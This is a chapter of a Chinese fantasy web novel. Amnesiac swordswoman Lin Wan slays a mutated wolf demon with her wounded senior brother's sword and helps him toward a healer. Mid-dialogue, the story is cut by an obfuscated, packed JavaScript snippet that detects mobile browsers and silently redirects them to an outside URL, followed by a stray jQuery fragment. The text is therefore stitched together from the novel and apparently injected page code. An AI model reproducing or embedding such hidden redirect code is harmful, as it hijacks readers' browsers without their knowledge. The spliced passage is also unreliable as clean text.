如果没失忆症这事,林晚面对眼前也不至于愣住。
原本那只狼妖方才吞了不知什么东西,现在异变得看不出原本形态。
丑陋狰狞,像不同的妖怪拼凑而成。
这到底是发生了什么?
狼妖突发异变,加之失忆症导致的无法迅速处理当下信息,因此林晚愣神直至见到黎涯之被打得节节后退,才将注意力拉回。
不能这样分神了!
青衣女子空余的左手扯下其他符纸放出,在异变的狼妖扑向黎涯之那刻放出。
符咒接触妖怪迅速消失,然后凭空生出寒冰将妖怪定在原地。
黎涯之见到了符纸,他先皱眉一下,随之趁着已失智的还未用蛮力挣脱束缚,持剑朝着其上半身中心刺去。
从战斗开始就一直存有灵力的长剑,虽然一下刺破了狼妖方血肉,却没有贯穿过去,被其体内某个东西阻挡着。
黎涯之发觉没有一击毙命,眼睛瞬间睁大。
糟糕!
心中警铃大作,他也意识到自己该向后撤退。
可那狼妖用妖气震碎了冰块,直接一拳打在他胸口,然后这种损伤最大化的方式拉开了距离。
林晚见状又甩出其他带着束缚作用的纸符,拖延狼妖进攻脚步,自己则去将黎涯之扶起后退更远。
白衣青年因那一拳导致胸口白衣染红,而妖气的又连带腹部伤口裂开,其短时间内无法再战斗。
而这让青衣女子见到着急起来。
只是她现在一来手上没有药,二是自身也不懂医术,三是唯一懂得伙伴在别处候着,此刻根本没有及时治疗的办法。
怎么办……
林晚看着弯腰还在缓神的师兄,又看看前方那挣扎着的狼妖,脑海中只剩一个念头。
用光手上所有符咒,去赌能否直接杀死这妖怪。
可这是赌,不止对运气要求高,还考验她的实力。
如果用光所有符咒都不能杀死这个异变的妖怪,那么她和黎涯之的安全就要比现在更糟糕。
也不仅仅是他们,还有周围被他们安排留下的镇民。
虽然不多,但这妖怪目前来看已经失了智,杀死他们之后可能会顺着气息去杀那些留下的镇民。
那这就不止是自损八百伤敌一千了。
青衣女子咬住嘴唇。
但不能再犹豫了,她必须做出选择!
林晚看了眼身侧单膝跪地,还在喘息急促的白衣青年,咬咬牙直接把那一沓符咒取下。
不管了,先打再说!
她将符咒捏在指间,准备灌入灵力启动。
可这时黎涯之扯住了她的袖子。
“用……用我的剑……”
“什么?”
林晚不合时宜地呆愣一下。
而黎涯之摇摇晃晃地站起,将支撑自己的剑交给师妹,声音虚弱地再度重复:“用我的剑,杀死他……”
青衣女子慌张,她知道这时被信任是好事,可她失忆了,对如何用剑是一窍不通啊。
“可我不懂……”她说。
“不,你可以的。”
白衣青年表情认真,将剑塞到师妹手里,用尽力气让其握紧。
“你可以的。”他表情认真的肯定着。
黎涯之的如此信任,林晚心中紧张消失不见,她颔首回应,随之转身拿着剑朝准备挣脱的狼妖走向。
而在脱离黎涯之的手,迈出脚步的那刻,她脑海就像白日布阵画咒时那样,涌现出对剑使用的记忆。
她平淡梳理着这些记忆,在看到狼妖挣脱束缚前,先将手中符纸放出。
异变的狼妖好不容易用蛮力挣脱开了灵力束缚,结果新过来符纸又将他炸伤。
但吞下那颗让自身产生异变的晶石,同时也让他理智全无,只剩懂得杀死一切生物的动力。
因此哪怕伤口增加和流血过多,他在缓过来后仍旧做出冲向林晚的动作。
只是已经理解完剑术的林晚不给机会,抬手挥出剑气再度施压。
而那狼妖虽说失了智,但也没有鲁莽硬接这次攻击。
可在他身体本能躲避掉剑气后,林晚便出现在面前。
青衣女子面无表情,她按着刚才所得的记忆,挥出一剑又一剑。
她攻势比黎涯之更猛烈快速,即便狼妖途中找到机会躲开,她都能紧追而上。
狼妖也不知是处于下风太久的原因,总之其又在挡住林晚挥出的剑时,不再像方才那样靠蛮力,改做散出妖气企图反压过去。
但林晚已手快将符咒贴狼妖脑袋上了,她一后退,符咒便启动。
只是在她以为这样就能结束时,被威力强大的符纸炸掉的狼妖,却却还能动弹。
什么情况?
哪怕再怎么冷静,失忆导致什么都不知道的情况,仍旧使她无法快速处理眼前新信息。
但黎涯之的声音此刻响起,强行把她注意力拉回。
“林晚,快用剑刺破他胸口中心!”
来不及多想了,林晚听着指示握紧剑突刺过去。
她的攻击,虽然也狼妖体内不知名的东西被挡了下,但没有像黎涯之那样无法击破。
那个东西被剑内灵力击碎,顺利贯穿了狼妖的身体前后。
哀嚎响起,紧接着无头狼妖倒地无法动弹。
结束了?
借助月光,林晚看着地上尸体,有点恍惚。
“唔!”
安静环境放大了黎涯之的声音,林晚听见动静,转过身就见到其摇摇晃晃,准备像那狼妖的尸体一样倒地不起。
诡异的冷静褪去,林晚着急跑过去将白衣青年扶住。
青年的白衣正面已被鲜血染红,而她见到其眼皮开始向下阖上,心急如焚地带着人朝万器坊的方向走,嘴上则说:“你别闭眼,我现在就带你去找小殷!”
“他会治好你的,会没事的!”
可她的话都没有得到回应。
“你不要睡过去了,好吗……”得不到回应,林晚揪紧了心,连乞求黎涯之坚持住的声音都明显颤抖。
她真的害怕,因为她还有很多很多事情没得到答案。
她也还有很多疑问要问这个人。
所以黎涯之不能死,绝对不能死。
可万器坊在镇子的东南边,她搀扶黎涯之过去要走很长一段路,而其受伤程度,能不能撑到是个未知数。
林晚咬咬牙,打算把人背过去。
但这时,黎涯之的声音传入了她的耳中。
“不会的……”
若不是本人就在身边,林晚都以为是自己听错了。
她扭头看向身侧,黎涯之虽然没力气做动作,但那双眼还坚持睁着。
“我不会死的……”由于新内伤和旧伤口开裂叠加,黎涯之说话声音十分的轻,“林晚,我不会死的。”
师兄的三次重复给了林晚定心效果,她深吸一口气,随后问:“师兄还能撑住吗?”
“可以……”黎涯之缓缓又继续,“多跟我说说话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786791|174883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧……”
说话吗?
林晚搀扶人继续向前,脑内开始思考该说什么。
今天是她重新有记忆的第一天,要不借此机会问那些疑问?
青衣女子在脑内把问题排列了下,然后试探性问:“师兄,我是因为什么才长时间不下山……?”
黎涯之没有很快回答,林晚知道其现在很虚弱,说话吃力。
不过因为心虚,她最终还是扭头观察对方。
白衣青年垂着眼帘,快被睫毛遮住的眼球不动一下。
林晚不知其是什么情况,出于担心,轻声呼唤。
“师兄?”
“六年前一次除妖任务,让你受了重创,自此之后,你留在山上做门内任务。”
因为除妖任务受了重伤才不下山?
可六年前【林晚】刚好十六岁,是得失忆症的那年,不应该是因为此病才不能下山吗?
林晚皱起眉头,她想为这个疑惑找个合理解释,可黎涯之的出声道:“怎么问这个?”
做贼心虚,青衣女子被师兄问到,心跳加快,眼睛控制不住看回路前方。
“我、我想着这样能不能让师兄你清醒久点……”
她说话都差点结巴,不过好在黎涯之没有选择追问为何。
“那继续吧。”白衣青年说。
这话让林晚心中松了口气,她扶着黎涯之走了两步之后,便顺着其刚才的意思,继续问别的事。
“如果我六年前受到重创的话,师兄又为何笃定我能杀死那狼妖?”她觉着其他问题目前还不合适说出来,选择先说点其他的铺垫。
“你是天才。”黎涯之没有反问,他顺着那个问题做出解释,“林晚,你曾是青霄内最出众的弟子。”
我是天才?
还是青霄派内最出众的弟子?
这条新信息使得林晚心里五味杂陈。
作为门内最出众的弟子,结果得了个七日就失忆的怪病,成为废人留在山上。
就是不清楚是不是真。
该问题使得青衣女子欲言又止,绞尽脑汁最终选择换话题。
只是话还未出口,身侧被自己搀扶的人就毫无征兆喷血。
“师兄!”林晚把人扶稳,抬头环视周围。
她本打算确认距离,这样好做出决定。
但一个人的出现让她打消了念头。
紫衣的少年出现在街道上,一路跑来到黎涯之面前,直接抓住其的手输送灵力。
待确认伤者命脉稳定后,殷子弃一边掏袖子里的东西,一边对林晚说:“他这么严重的伤,你过来前怎么不先用灵力稳定命脉?”
“我、我不懂……”林晚不知所措,今日毕竟是她重新有记忆的第一天,很多信息没能消化完就赶上与大妖战斗。
殷子弃反应过来,他面露尴尬。
“没事没事,你今晚上把这事记笔记上,下次再遇到类似情况就能派上用场。”他因良心过意不去,连解释的语气都温柔许多。
“哦……”
林晚应了声,心中默默记下此事,随之又问紫衣少年:“你不是在万器坊吗,怎么过来了?”
“那么大动静,我不想过来都得过来。”殷子弃说着又给黎涯之探探脉,确认情况不严重,他也将其搀扶起来,“先去陆琏府给他包扎,有什么事之后说。”
稳定伤者生命最重要,林晚深知该事,所以在听见那番话后不言,跟殷子弃一同将已经阖上眼昏迷的白衣青年,送往陆琏府做后续治疗。